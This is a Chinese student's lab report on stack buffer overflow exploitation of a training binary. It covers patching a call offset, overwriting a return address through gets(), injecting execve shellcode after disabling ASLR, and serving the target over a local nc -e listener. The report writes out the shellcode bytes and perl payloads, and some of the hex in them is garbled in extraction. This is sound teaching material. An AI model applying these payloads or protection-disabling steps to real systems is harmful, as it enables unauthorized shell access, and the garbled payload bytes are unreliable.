实验一
学号 20242302 《网络与系统攻防技 术》实验一实验报告
1. 基础知识
这次实验用到的东西挺杂的,先捋一下。
ELF 文件格式 : Linux 下可执行文件就是 ELF 格式,开头是 ELF Header ,后面跟各个段。 .text 段放代码,是只读可执行的; .data 放已初始 化的全局变量; .bss 放未初始化的。我们改机器指令就是改 .text 段里的字节。
汇编和 call 指令 : call 指令的机器码是 e8 ,后面跟一个 4 字节的偏移。这 个偏移不是目标地址本身,而是 "EIP (下一条指令地址) + 偏移 = 目标地址 " 。 偏移用补码表示,负数就往前跳。比如 e8 d7 ff ff ff , d7f f ff 就是 -0x29 , EIP=80484ba , 80484ba-0x29=8048491 ,正好是 foo 。
栈溢出( BOF ) :函数调用时,栈上从低地址到高地址依次是:局部缓冲区、 保存的 EBP 、返回地址。如果用 gets() 这种不检查长度的函数往缓冲区里塞 超长字符串,就会覆盖到返回地址。 ret 指令弹 EIP 的时候就会跳到我们塞进 去的地址。
小端字节序 : x86 是小端,地址 0x804847d 在内存里要存成 7d 84 04 08 , 倒着写。这个不搞清楚就永远跳不对。
Shellcode :就是一段机器指令,我们这里用的是 25 字节的 execve
("/bin/sh") 。核心是 int 0x80 陷入内核, eax 放系统调用号
- ( 11=execve ), ebx 放字符串地址。
NOP 滑行 : NOP 是 \x90 ,啥也不干就往前走。在 shellcode 前面铺一堆
NOP ,返回地址只要落在任何一个 NOP 上, CPU 就会一路滑到 shellcode , 不用精确定位。
三种防护 :栈 Canary (编译时插桩)、 DEP/NX (栈不可执行, execstack -s 关掉)、 ASLR (地址随机化, echo 0 >
/proc/sys/kernel/randomize_va_space 关掉)。
2. 实验内容
三个任务递进:
-
直接改 pwn1 文件里的机器指令,让 main 调用 getShell
-
用 gets 的 BOF 漏洞,构造输入覆盖返回地址,跳到 getShell
-
在栈上注入自己的 shellcode ,让程序跳过去执行
3. 实验过程
任务一:改机器指令
先反汇编看一下:
objdump -d pwn1 | grep -A 25 '
关键输出: 080484af
80484b5: e8 d7 ff ff ff call 8048491
80484ba: b8 00 00 00 00 mov $0x0,%eax
getShell 在 0804847d 。现在 main call 的是 foo ( 8048491 ),我们要让
它 call getShell 。

算一下新偏移: EIP 是 call 的下一条指令地址 80484ba ,目标 getShell 是 804847d ,偏移 = 804847d - 80484ba = -0x3d ,补码就是 c3 ff ff ff 。 所以只需要把 call 指令里的 d7 改成 c3 。
复制一份再改:
cp pwn1 pwn2
vi pwn2
vi 里操作:先 :%!xxd 切十六进制视图, /e8d7 找到位置,把 d7 改成 c3 ,
然后 :%!xxd -r 转回二进制, :wq 保存。

改完反汇编验证:
objdump -d pwn2 | grep -A 8 '
看到 e8 c3 ff ff ff call 804847d

运行 ./pwn2 ,提示符从 蓝色 $ 变成白色 $ , ls 能列文件, whoami 返回
kali 。

任务二: BOF 覆盖返回地址
反汇编 foo :
objdump -d pwn1 | grep -A 12 '
看到 sub $0x38,%esp 和 lea -0x1c(%ebp),%eax ,缓冲区在 ebp-0x1c ,也
就是 28 字节。后面接 call gets 。

gdb 里验证偏移:
gdb pwn1
(gdb) r
然后输入 1111111122222222333333334444444455555555 ,程序段错误。
info registers eip ebp 看到 eip=0x35353535 (全是 5 ),
ebp=0x34343434 (全是 4 )。说明第 33~36 个字符盖到了返回地址。

再跑一次,最后一组改成 12345678 , eip=0x34333231 。这就是小端序 ——
输入 "1234" ,内存里存成 31 32 33 34 , CPU 读出来是 0x34333231 。

所以要让 EIP=0x804847d ,输入字节顺序必须是 \x7d\x84\x04\x08 。
构造 payload :
perl -e 'print
"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
xxd input

注入:
(cat input; cat) | ./pwn1
提示符变成 sh , ls 和 whoami 正常。

任务三:注入自己的 shellcode
先尝试关防护:
readelf -l pwn1 | grep GNU_STACK
结果是 RWE ,说明栈本来就可执行,不用 execstack 。

echo "0" > /proc/sys/kernel/randomize_va_space
ASLR 关成 0 。
shellcode 是这段 25 字节的 execve ("/bin/sh") :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x8
9\xe1\x31\xd2\xb0\x0b\xcd\x80

先试 NSR 布局( nops + shellcode + retaddr ),失败了。 构造 payload 跑起来直接 Segmentation fault 。原因是 shellcode 放在缓冲区前面,栈顶
push 指令往上长,把自己还没执行到的代码给覆盖了。

改用 RNS 布局( A×32 + retaddr + nops + shellcode )。 这样 shellcode 在返回地址后面的高地址栈上, push 不会碰它。
用 gdb 定位栈地址:
gdb -q pwn1
(gdb) break *0x80484ae
(gdb) run < input_shellcode
(gdb) info r esp

(gdb) x/32x $esp

gdb 里看到 esp=0xf f d2bc , shellcode 就在返回地址后面。

但 gdb 环境和直接跑不一样,外面跑的时候崩了, dmesg 显示 ip:f f d2c2 sp:f f d300 。根据 sp=0xf f d300 ,把返回地址改成 0xf f d300 (小端
\x00\xd3\xff\xff )。

最终 payload : perl -e 'print "A" x 32; print "\x00\xd3\xf f \xf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x6 f 8\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\ x0a"' > input_shellcode 注入: (cat input_shellcode; cat) | ./pwn1 ls 能列文件, whoami 返回 root 。

nc 模拟远程攻击 :另一个终端起服务 nc -l 127.0.0.1 -p 28234 -e ./pwn1 , 然后攻击端 (cat input_shellcode; cat) | nc 127.0.0.1 28234 ,连上后 whoami 也是 root 。

4. 问题及解决方案
问题 1 : execstack 命令找不到
一开始按指导书敲 execstack -s pwn1 ,提示 command not found 。 sudo
apt install execstack 也装不上( Unable to locate package )。
解决方案:用 readelf -l pwn1 | grep GNU_STACK 一看,显示 RWE ,栈本 来就可执行,这步直接跳过。
问题 2 : zsh 下 (cat input; cat) | ./pwn1 程序直接崩,不卡在 gets
指导书说程序应该停在 gets 等回车,但我们跑起来直接段错误。原因是 root
下用的是 zsh ,子 shell 管道行为和 bash 不一样, gets 直接读到 EOF 就 返回了。
解决方案:不纠结 attach gdb 那套,直接 gdb pwn1 里 break
*0x80484ae 然后 run < input_shellcode ,一步到位断在 ret 上看栈。
问题 3 : gdb 里算的栈地址外面跑不对
gdb 里 esp=0xf f d2bc ,把返回地址填成 0xf f d2c0 ,外面跑报 Illegal instruction 。
解决方案:外面跑一次崩了之后 dmesg | tail ,看到实际崩在 ip=f f d2c2 、 sp=f f d300 。 sp 就是 ret 之后的栈顶,也就是 shellcode 该放的位置,把 返回地址改成 0xf f d300 就成了。 gdb 会多塞环境变量导致栈地址偏移,这 个以前看文章没感觉,自己踩了才记住。
问题 4 :第二次 gdb 实验把 gdb 命令当成输入敲进了 gets
刚学 gdb 时分不清 " 屏幕上有没有 (gdb) 提示符 " ,把 info registers eip 直 接敲给了程序, gets 当字符串读进去了,程序正常退出。后来记住了:有 (gdb) 敲的是 gdb 命令,没有 (gdb) 敲的是程序输入。
问题 5 : vi 十六进制视图里搜 e8d7 搜不到
在 vi 里 :%!xxd 切到十六进制视图后,直接打 /e8d7 回车,一直提示
E486: Pattern not found 。后来才注意到 xxd 显示出来每两个字节之间是有 空格的(比如 e8 d7 ff ff ff ),搜索的时候也得带空格,打 /e8 d7 一下就找 到了。这个坑卡了好一会儿。
5. 学习感悟、思考
这次实验最大的感受是:书上看 BOF 原理觉得挺简单,真动手才知道每一步 都有坑。
任务一改一个字节,感觉像在做手术 —— 改之前反复算偏移,怕改错一个字 节整个文件就崩了。改完看到 call 变成 getShell 那一下还挺爽的。
任务二是整个实验的核心。最关键的不是会构造 payload ,而是理解栈上数据
是怎么排列的。为什么是 32 个字符?为什么地址要倒着写?这些东西看十遍
不如 gdb 里自己崩一次,看到 eip 变成 0x35353535 的瞬间就懂了。
任务三最折腾。 NSR 为什么失败、 RNS 为什么成功、 gdb 里和外面跑的栈地 址为什么不一样 —— 这些问题指导书是循序渐进带你踩坑的,但我急着出结 果直接跳了 RNS ,结果地址不对又回来查 dmesg 。以后还是得按步骤来,踩 过的坑才是自己的。
另外注意到现在 Kali 默认是 64 位、开 ASLR 、栈不可执行, pwn1 能跑通
是因为它本身是个 32 位静态编译的 " 靶机 " 。真实环境里要绕过 Canary 、
ASLR 、 NX 加起来,难度完全不是一个量级。实验里关掉这些防护是为了理解 原理,不是说真实攻击这么简单。
参考资料
从攻破程序到攻破系统( https://www.cnblogs.com/rocedu/p/5182332.html )
Linux 系统调用表( x86_64 ) - 一川 ofcial fi - 博客园
浙公网安备 33010602011771号